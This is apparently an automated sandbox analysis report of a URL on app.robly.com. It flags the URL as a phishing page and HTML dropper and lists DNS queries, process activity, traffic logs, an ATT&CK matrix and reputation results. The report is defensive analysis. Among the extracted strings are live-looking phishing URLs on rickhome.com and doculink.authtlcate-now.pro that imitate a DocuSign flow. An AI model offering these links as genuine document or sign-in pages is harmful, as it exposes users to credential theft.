Edit tour

Windows Analysis Report
https://app.robly.com/sites/1550c67c312457e2bb58457f78fda912/f774d7ddfffc8f1d429cd55a95adr852d

Overview

General Information

Sample URL:	https://app.robly.com/sites/1550c67c312457e2bb58457f78fda912/f774d7ddfffc8f1d429cd55a95adr852d
Analysis ID:	1431660
Infos:

Detection

HtmlDropper, HTMLPhisher

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Html Dropper

Yara detected HtmlPhish10

Yara detected Phisher

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

Phishing site or detected (based on various text indicators)

HTML body contains low number of good links

HTML page contains hidden URLs or javascript code

HTML title does not match URL

Invalid 'sign-in options' or 'sign-up' link found

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 5888 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://app.robly.com/sites/1550c67c312457e2bb58457f78fda912/f774d7ddfffc8f1d429cd55a95adr852d MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6176 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1956,i,12321576010099348366,12060906561860274637,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_144	JoeSecurity_Phisher_2	Yara detected Phisher	Joe Security

HTML

Source	Rule	Description	Author
6.13.pages.csv	JoeSecurity_HtmlDropper_3	Yara detected Html Dropper	Joe Security
6.13.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
6.11.pages.csv	JoeSecurity_HtmlDropper_3	Yara detected Html Dropper	Joe Security
6.11.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
6.12.pages.csv	JoeSecurity_HtmlDropper_3	Yara detected Html Dropper	Joe Security
6.12.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
Click to see the 1 entries

String found in binary or memory: return b}yC.J="internal.enableAutoEventOnTimer";var dc=ka(["data-gtm-yt-inspected-"]),AC=["www.youtube.com","www.youtube-nocookie.com"],BC,CC=!1; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: app.robly.com
Source: global traffic	DNS traffic detected: DNS query: img.robly.com
Source: global traffic	DNS traffic detected: DNS query: api.contentsnare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: contentsnare-production.s3-accelerate.amazonaws.com
Source: global traffic	DNS traffic detected: DNS query: js-agent.newrelic.com
Source: global traffic	DNS traffic detected: DNS query: bam.nr-data.net
Source: global traffic	DNS traffic detected: DNS query: rickhome.com
Source: global traffic	DNS traffic detected: DNS query: doculink.authtlcate-now.pro
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com

Source: unknown

HTTP traffic detected: POST /recaptcha/api2/reload?k=6Ld9XlUUAAAAABcR5houwBXwlA_3STKsG2SzYCVw HTTP/1.1Host: www.google.comConnection: keep-aliveContent-Length: 10271sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-protobufferAccept: */*Origin: https://www.google.comX-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlqHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw==Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&k=6Ld9XlUUAAAAABcR5houwBXwlA_3STKsG2SzYCVwAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 25 Apr 2024 13:31:14 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachex-turbo-charged-by: LiteSpeedCF-Cache-Status: BYPASSReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LyAgJlecNe34f1dImW9d8jZ0Tm0tOP9Ew4U2QZybbU04JkOfv9p3k4j1iUji0QkQ%2BK41Q5azx9YqA4EXdHfUxGgSBcUa92DZlFVqInFPbqN7J5eS%2BLH3VjUB80oxtHmfoQAukspqVwQwufmLOHU%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 879eb1360b924529-ATLalt-svc: h3=":443"; ma=86400

Source: chromecache_125.1.dr	String found in binary or memory: https://adservice.google.com/pagead/regclk
Source: chromecache_125.1.dr	String found in binary or memory: https://adservice.googlesyndication.com/pagead/regclk
Source: chromecache_93.1.dr	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js
Source: chromecache_93.1.dr	String found in binary or memory: https://api.contentsnare.com/rails/active_storage/blobs/redirect/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHB
Source: chromecache_125.1.dr	String found in binary or memory: https://cct.google/taggy/agent.js
Source: chromecache_148.1.dr, chromecache_132.1.dr	String found in binary or memory: https://cloud.google.com/contact
Source: chromecache_148.1.dr, chromecache_132.1.dr	String found in binary or memory: https://cloud.google.com/recaptcha-enterprise/billing-information
Source: chromecache_148.1.dr, chromecache_132.1.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca
Source: chromecache_148.1.dr, chromecache_132.1.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#localhost_support
Source: chromecache_148.1.dr, chromecache_132.1.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que
Source: chromecache_144.1.dr	String found in binary or memory: https://doculink.authtlcate-now.pro/
Source: chromecache_93.1.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Bitter
Source: chromecache_112.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/bitter/v33/raxhHiqOu8IVPmnRc6SY1KXhnF_Y8fbfOLXOXWh2.woff2)
Source: chromecache_112.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/bitter/v33/raxhHiqOu8IVPmnRc6SY1KXhnF_Y8fbfOLbOXWh2.woff2)
Source: chromecache_112.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/bitter/v33/raxhHiqOu8IVPmnRc6SY1KXhnF_Y8fbfOLfOXWh2.woff2)
Source: chromecache_112.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/bitter/v33/raxhHiqOu8IVPmnRc6SY1KXhnF_Y8fbfOLjOXQ.woff2)
Source: chromecache_112.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/bitter/v33/raxhHiqOu8IVPmnRc6SY1KXhnF_Y8fbfOLzOXWh2.woff2)
Source: chromecache_117.1.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_117.1.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_117.1.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_125.1.dr	String found in binary or memory: https://pagead2.googlesyndication.com
Source: chromecache_125.1.dr	String found in binary or memory: https://pagead2.googlesyndication.com/pagead/gen_204?id=tcfe
Source: chromecache_132.1.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_132.1.dr	String found in binary or memory: https://recaptcha.net
Source: chromecache_93.1.dr	String found in binary or memory: https://rickhome.com//securedoc/
Source: chromecache_125.1.dr	String found in binary or memory: https://stats.g.doubleclick.net/g/collect
Source: chromecache_125.1.dr	String found in binary or memory: https://stats.g.doubleclick.net/g/collect?v=2&
Source: chromecache_132.1.dr	String found in binary or memory: https://support.google.com/recaptcha
Source: chromecache_148.1.dr, chromecache_132.1.dr	String found in binary or memory: https://support.google.com/recaptcha#6262736
Source: chromecache_148.1.dr, chromecache_132.1.dr	String found in binary or memory: https://support.google.com/recaptcha/#6175971
Source: chromecache_148.1.dr, chromecache_132.1.dr	String found in binary or memory: https://support.google.com/recaptcha/?hl=en#6223828
Source: chromecache_125.1.dr	String found in binary or memory: https://td.doubleclick.net
Source: chromecache_148.1.dr, chromecache_132.1.dr	String found in binary or memory: https://www.apache.org/licenses/
Source: chromecache_93.1.dr	String found in binary or memory: https://www.docusign.com/features-and-benefits/mobile?utm_campaign=GBL_XX_DBU_UPS_2211_SignNotificat
Source: chromecache_125.1.dr	String found in binary or memory: https://www.google.com
Source: chromecache_93.1.dr	String found in binary or memory: https://www.google.com/recaptcha/api.js
Source: chromecache_121.1.dr, chromecache_148.1.dr, chromecache_132.1.dr	String found in binary or memory: https://www.google.com/recaptcha/api2/
Source: chromecache_125.1.dr	String found in binary or memory: https://www.googleadservices.com
Source: chromecache_125.1.dr	String found in binary or memory: https://www.googletagmanager.com
Source: chromecache_93.1.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=G-GWR6DEECHX
Source: chromecache_148.1.dr, chromecache_132.1.dr	String found in binary or memory: https://www.gstatic.c..?/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/recaptcha__.
Source: chromecache_121.1.dr, chromecache_140.1.dr	String found in binary or memory: https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/recaptcha__en.js
Source: chromecache_125.1.dr	String found in binary or memory: https://www.merchant-center-analytics.goog

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 23.201.212.130:443 -> 192.168.2.16:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.16:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.201.212.130:443 -> 192.168.2.16:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:49780 version: TLS 1.2

Source: classification engine

Classification label: mal76.phis.troj.win@19/112@46/21

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://app.robly.com/sites/1550c67c312457e2bb58457f78fda912/f774d7ddfffc8f1d429cd55a95adr852d
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1956,i,12321576010099348366,12060906561860274637,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1956,i,12321576010099348366,12060906561860274637,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Data Obfuscation

Yara detected Html Dropper

Source: Yara match	File source: 6.13.pages.csv, type: HTML
Source: Yara match	File source: 6.11.pages.csv, type: HTML
Source: Yara match	File source: 6.12.pages.csv, type: HTML

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://app.robly.com/sites/1550c67c312457e2bb58457f78fda912/f774d7ddfffc8f1d429cd55a95adr852d	0%	Avira URL Cloud	safe
https://app.robly.com/sites/1550c67c312457e2bb58457f78fda912/f774d7ddfffc8f1d429cd55a95adr852d	0%	Virustotal		Browse

Source	Detection	Scanner	Link
doculink.authtlcate-now.pro	0%	Virustotal	Browse
rickhome.com	0%	Virustotal	Browse
fastly-tls12-bam.nr-data.net	0%	Virustotal	Browse
api.contentsnare.com	0%	Virustotal	Browse
bam.nr-data.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://recaptcha.net	0%	URL Reputation	safe
https://cct.google/taggy/agent.js	0%	URL Reputation	safe
https://www.merchant-center-analytics.goog	0%	URL Reputation	safe
https://rickhome.com//securedoc/	0%	Avira URL Cloud	safe
https://doculink.authtlcate-now.pro/o/3ab171f76fa12ca7e775f401a8a53f3e662a5b225ff82	0%	Avira URL Cloud	safe
